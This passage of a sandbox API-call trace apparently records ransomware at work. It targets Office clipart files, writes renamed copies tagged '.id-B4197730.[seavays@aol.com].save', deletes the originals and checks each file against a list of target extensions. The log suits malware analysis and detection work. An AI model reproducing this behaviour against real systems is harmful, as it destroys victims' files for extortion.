SetEndOfFile (hFile=0x398) returned 1 [0078.652] CloseHandle (hObject=0x398) returned 1 [0078.652] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.653] SetEndOfFile (hFile=0x2f8) returned 1 [0078.654] CloseHandle (hObject=0x2f8) returned 1 [0078.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0078.654] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 1 [0078.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0078.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0078.655] lstrlenW (lpString=".doc") returned 4 [0078.655] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.655] lstrlenW (lpString=".docx") returned 5 [0078.655] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0078.655] lstrlenW (lpString=".pdf") returned 4 [0078.655] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.656] lstrlenW (lpString=".xls") returned 4 [0078.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.656] lstrlenW (lpString=".xlsx") returned 5 [0078.656] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0078.656] lstrlenW (lpString=".ppt") returned 4 [0078.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0078.656] lstrlenW (lpString=".zip") returned 4 [0078.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.656] lstrlenW (lpString=".rar") returned 4 [0078.656] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.656] lstrlenW (lpString=".bz2") returned 4 [0078.656] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.656] lstrlenW (lpString=".7z") returned 3 [0078.656] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0078.656] lstrlenW (lpString=".dbf") returned 4 [0078.656] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0078.656] lstrlenW (lpString=".1cd") returned 4 [0078.656] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0078.656] lstrlenW (lpString=".jpg") returned 4 [0078.656] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.657] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.657] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0078.658] GetLastError () returned 0x0 [0078.658] ReadFile (in: hFile=0x2f8, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x5b0, lpOverlapped=0x0) returned 1 [0079.052] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x5c0, lpOverlapped=0x0) returned 1 [0079.053] ReadFile (in: hFile=0x2f8, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.053] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.053] SetEndOfFile (hFile=0x398) returned 1 [0079.053] CloseHandle (hObject=0x398) returned 1 [0079.053] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.053] SetEndOfFile (hFile=0x2f8) returned 1 [0079.054] CloseHandle (hObject=0x2f8) returned 1 [0079.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 1 [0079.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0079.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0079.055] lstrlenW (lpString=".doc") returned 4 [0079.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.055] lstrlenW (lpString=".docx") returned 5 [0079.055] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0079.055] lstrlenW (lpString=".pdf") returned 4 [0079.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.055] lstrlenW (lpString=".xls") returned 4 [0079.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.055] lstrlenW (lpString=".xlsx") returned 5 [0079.055] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0079.055] lstrlenW (lpString=".ppt") returned 4 [0079.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0079.056] lstrlenW (lpString=".zip") returned 4 [0079.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.056] lstrlenW (lpString=".rar") returned 4 [0079.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.056] lstrlenW (lpString=".bz2") returned 4 [0079.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.056] lstrlenW (lpString=".7z") returned 3 [0079.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0079.056] lstrlenW (lpString=".dbf") returned 4 [0079.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0079.056] lstrlenW (lpString=".1cd") returned 4 [0079.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0079.056] lstrlenW (lpString=".jpg") returned 4 [0079.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.057] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.057] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0079.058] GetLastError () returned 0x0 [0079.058] ReadFile (in: hFile=0x2f8, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x3632, lpOverlapped=0x0) returned 1 [0079.059] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x3640, lpOverlapped=0x0) returned 1 [0079.061] ReadFile (in: hFile=0x2f8, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.061] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.061] SetEndOfFile (hFile=0x398) returned 1 [0079.061] CloseHandle (hObject=0x398) returned 1 [0079.061] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.061] SetEndOfFile (hFile=0x2f8) returned 1 [0079.062] CloseHandle (hObject=0x2f8) returned 1 [0079.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.063] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 1 [0079.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0079.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0079.063] lstrlenW (lpString=".doc") returned 4 [0079.063] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.063] lstrlenW (lpString=".docx") returned 5 [0079.063] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0079.063] lstrlenW (lpString=".pdf") returned 4 [0079.063] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.063] lstrlenW (lpString=".xls") returned 4 [0079.063] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.063] lstrlenW (lpString=".xlsx") returned 5 [0079.063] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0079.063] lstrlenW (lpString=".ppt") returned 4 [0079.064] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0079.064] lstrlenW (lpString=".zip") returned 4 [0079.064] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.064] lstrlenW (lpString=".rar") returned 4 [0079.064] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.064] lstrlenW (lpString=".bz2") returned 4 [0079.064] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.064] lstrlenW (lpString=".7z") returned 3 [0079.064] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0079.064] lstrlenW (lpString=".dbf") returned 4 [0079.064] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0079.064] lstrlenW (lpString=".1cd") returned 4 [0079.064] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0079.064] lstrlenW (lpString=".jpg") returned 4 [0079.064] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.065] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.065] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0079.065] GetLastError () returned 0x0 [0079.066] ReadFile (in: hFile=0x2f8, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1b11, lpOverlapped=0x0) returned 1 [0079.067] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1b20, lpOverlapped=0x0) returned 1 [0079.068] ReadFile (in: hFile=0x2f8, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.068] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.069] SetEndOfFile (hFile=0x398) returned 1 [0079.069] CloseHandle (hObject=0x398) returned 1 [0079.069] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.069] SetEndOfFile (hFile=0x2f8) returned 1 [0079.070] CloseHandle (hObject=0x2f8) returned 1 [0079.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.070] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 1 [0079.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0079.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0079.071] lstrlenW (lpString=".doc") returned 4 [0079.071] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0079.071] lstrlenW (lpString=".docx") returned 5 [0079.071] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0079.072] lstrlenW (lpString=".pdf") returned 4 [0079.072] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0079.072] lstrlenW (lpString=".xls") returned 4 [0079.072] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0079.072] lstrlenW (lpString=".xlsx") returned 5 [0079.072] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0079.072] lstrlenW (lpString=".ppt") returned 4 [0079.072] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0079.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0079.072] lstrlenW (lpString=".zip") returned 4 [0079.072] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0079.072] lstrlenW (lpString=".rar") returned 4 [0079.072] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0079.072] lstrlenW (lpString=".bz2") returned 4 [0079.072] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0079.072] lstrlenW (lpString=".7z") returned 3 [0079.072] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0079.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0079.072] lstrlenW (lpString=".dbf") returned 4 [0079.072] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0079.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0079.072] lstrlenW (lpString=".1cd") returned 4 [0079.072] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0079.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0079.072] lstrlenW (lpString=".jpg") returned 4 [0079.072] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0079.074] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.074] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0079.075] GetLastError () returned 0x0 [0079.075] ReadFile (in: hFile=0x2f8, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x227a, lpOverlapped=0x0) returned 1 [0079.077] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x2280, lpOverlapped=0x0) returned 1 [0079.078] ReadFile (in: hFile=0x2f8, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.078] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.079] SetEndOfFile (hFile=0x398) returned 1 [0079.079] CloseHandle (hObject=0x398) returned 1 [0079.079] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.079] SetEndOfFile (hFile=0x2f8) returned 1 [0079.080] CloseHandle (hObject=0x2f8) returned 1 [0079.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.081] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 1 [0079.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0079.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0079.082] lstrlenW (lpString=".doc") returned 4 [0079.082] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0079.082] lstrlenW (lpString=".docx") returned 5 [0079.082] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0079.082] lstrlenW (lpString=".pdf") returned 4 [0079.082] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0079.082] lstrlenW (lpString=".xls") returned 4 [0079.082] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0079.082] lstrlenW (lpString=".xlsx") returned 5 [0079.082] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0079.082] lstrlenW (lpString=".ppt") returned 4 [0079.082] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0079.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0079.083] lstrlenW (lpString=".zip") returned 4 [0079.083] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0079.083] lstrlenW (lpString=".rar") returned 4 [0079.083] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0079.083] lstrlenW (lpString=".bz2") returned 4 [0079.083] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0079.083] lstrlenW (lpString=".7z") returned 3 [0079.083] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0079.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0079.083] lstrlenW (lpString=".dbf") returned 4 [0079.083] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0079.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0079.083] lstrlenW (lpString=".1cd") returned 4 [0079.083] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0079.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0079.083] lstrlenW (lpString=".jpg") returned 4 [0079.083] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0079.084] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.084] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0079.085] GetLastError () returned 0x0 [0079.085] ReadFile (in: hFile=0x2f8, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x3682, lpOverlapped=0x0) returned 1 [0079.450] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x3690, lpOverlapped=0x0) returned 1 [0079.452] ReadFile (in: hFile=0x2f8, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.452] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.452] SetEndOfFile (hFile=0x398) returned 1 [0079.453] CloseHandle (hObject=0x398) returned 1 [0079.453] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.453] SetEndOfFile (hFile=0x2f8) returned 1 [0079.454] CloseHandle (hObject=0x2f8) returned 1 [0079.454] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.455] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 1 [0079.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0079.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0079.456] lstrlenW (lpString=".doc") returned 4 [0079.456] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0079.456] lstrlenW (lpString=".docx") returned 5 [0079.456] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0079.456] lstrlenW (lpString=".pdf") returned 4 [0079.456] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0079.456] lstrlenW (lpString=".xls") returned 4 [0079.456] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0079.456] lstrlenW (lpString=".xlsx") returned 5 [0079.456] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0079.457] lstrlenW (lpString=".ppt") returned 4 [0079.457] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0079.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0079.457] lstrlenW (lpString=".zip") returned 4 [0079.457] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0079.457] lstrlenW (lpString=".rar") returned 4 [0079.457] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0079.457] lstrlenW (lpString=".bz2") returned 4 [0079.457] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0079.457] lstrlenW (lpString=".7z") returned 3 [0079.457] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0079.457] lstrlenW (lpString="C:\\Program Files\\Microsoft 